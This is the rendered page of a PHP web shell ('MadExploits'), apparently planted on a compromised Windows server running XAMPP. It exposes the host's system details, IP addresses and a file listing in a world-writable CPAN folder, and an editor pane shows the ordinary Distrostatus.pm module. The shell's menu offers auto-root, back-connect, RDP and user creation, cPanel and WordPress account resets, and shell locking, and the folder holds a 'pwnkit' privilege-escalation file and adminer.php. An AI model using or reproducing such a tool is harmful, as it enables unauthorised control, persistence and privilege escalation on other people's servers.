Windows NT IZOXMIX7871CBCZ 6.3 build 9600 (Windows Server 2012 R2 Datacenter Edition) AMD64
Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
: 172.23.17.241 | : 216.73.216.9
Cant Read [ /etc/named.conf ]
8.2.12
Administrator
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
[ C ]
C: /
xampp /
perl /
lib /
CPAN /
[ HOME SHELL ]
Name
Size
Permission
Action
API
[ DIR ]
drwxrwxrwx
Exception
[ DIR ]
drwxrwxrwx
FTP
[ DIR ]
drwxrwxrwx
HTTP
[ DIR ]
drwxrwxrwx
Kwalify
[ DIR ]
drwxrwxrwx
LWP
[ DIR ]
drwxrwxrwx
Meta
[ DIR ]
drwxrwxrwx
Plugin
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-rw-rw-
Admin.pm
7.61
KB
-rw-rw-rw-
Author.pm
6.68
KB
-rw-rw-rw-
Bundle.pm
9.91
KB
-rw-rw-rw-
CacheMgr.pm
7.48
KB
-rw-rw-rw-
Complete.pm
5.88
KB
-rw-rw-rw-
Config.pm
4.11
KB
-rw-rw-rw-
Debug.pm
2.05
KB
-rw-rw-rw-
DeferredCode.pm
189
B
-rw-rw-rw-
DistnameInfo.pm
4.99
KB
-rw-rw-rw-
Distribution.pm
175.59
KB
-rw-rw-rw-
Distroprefs.pm
11.71
KB
-rw-rw-rw-
Distrostatus.pm
972
B
-rw-rw-rw-
FTP.pm
42.28
KB
-rw-rw-rw-
FirstTime.pm
71.84
KB
-rw-rw-rw-
HandleConfig.pm
22.98
KB
-rw-rw-rw-
Index.pm
21.7
KB
-rw-rw-rw-
InfoObj.pm
6.75
KB
-rw-rw-rw-
Kwalify.pm
3.35
KB
-rw-rw-rw-
Meta.pm
29.56
KB
-rw-rw-rw-
Mirrors.pm
17.82
KB
-rw-rw-rw-
Module.pm
21.87
KB
-rw-rw-rw-
Nox.pm
953
B
-rw-rw-rw-
Plugin.pm
3.14
KB
-rw-rw-rw-
Prompt.pm
567
B
-rw-rw-rw-
Queue.pm
6.96
KB
-rw-rw-rw-
Shell.pm
71.96
KB
-rw-rw-rw-
Tarzip.pm
16.25
KB
-rw-rw-rw-
URL.pm
588
B
-rw-rw-rw-
Version.pm
4.29
KB
-rw-rw-rw-
adminer.php
465.43
KB
-rw-rw-rw-
pwnkit
10.99
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Distrostatus.pm
# -*- Mode: cperl; coding: utf-8; cperl-indent-level: 4 -*- # vim: ts=4 sts=4 sw=4: package CPAN::Distrostatus; use overload '""' => "as_string", fallback => 1; use vars qw($something_has_failed_at); use vars qw( $VERSION ); $VERSION = "5.5"; sub new { my($class,$arg) = @_; my $failed = substr($arg,0,2) eq "NO"; if ($failed) { $something_has_failed_at = $CPAN::CurrentCommandId; } bless { TEXT => $arg, FAILED => $failed, COMMANDID => $CPAN::CurrentCommandId, TIME => time, }, $class; } sub something_has_just_failed () { defined $something_has_failed_at && $something_has_failed_at == $CPAN::CurrentCommandId; } sub commandid { shift->{COMMANDID} } sub failed { shift->{FAILED} } sub text { my($self,$set) = @_; if (defined $set) { $self->{TEXT} = $set; } $self->{TEXT}; } sub as_string { my($self) = @_; $self->text; } 1;
Close